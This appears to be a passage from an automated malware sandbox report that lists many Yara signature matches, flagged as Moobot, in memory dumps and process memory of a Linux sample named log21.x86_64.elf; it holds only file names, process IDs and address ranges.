Source: Yara match	File source: 6245.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6548.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6847.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6335.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6630.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6993.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6805.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7378.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6372.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7305.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6909.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7216.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7190.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6317.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6597.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6788.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6669.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6572.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6579.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6561.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6535.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6904.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6743.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6626.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6243.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7423.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6515.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6736.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7294.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7066.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7017.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7039.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6946.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6451.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7195.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6566.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7282.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6804.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7040.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6571.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7100.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7445.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6869.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7060.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6217, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6231, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6233, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6234, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6235, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6237, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6238, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6239, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6241, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6242, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6243, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6245, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6246, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6247, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6249, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6250, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6251, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6253, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6254, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6255, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6257, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6258, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6261, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6262, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6263, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6265, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6266, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6269, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6270, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6271, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6273, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6274, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6275, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6277, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6278, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6279, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6281, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6282, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6283, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6285, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6286, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6287, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6289, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6290, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6291, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6293, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6294, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6918.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7104.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7459.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6917.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6956.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6795.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6801.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7442.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7414.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6797.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6907.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6959.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6708.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6706.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6307.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6454.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6684.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6554.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6728.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7142.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6875.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6514.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6502.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6754.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6867.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6652.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6792.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6511.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6842.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6614.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7118.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7325.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6562.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6432.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6516.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7352.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6467.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7303.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7205.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7074.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6620.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7001.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7152.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7270.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7226.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6419.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7023.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6328.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6452.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7192.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6709.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6525.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6469.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7438.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6420.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7003.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6563.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7174.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6896.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7078.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6305.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6911.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7415.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7334.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7439.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6852.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6785.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6468.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
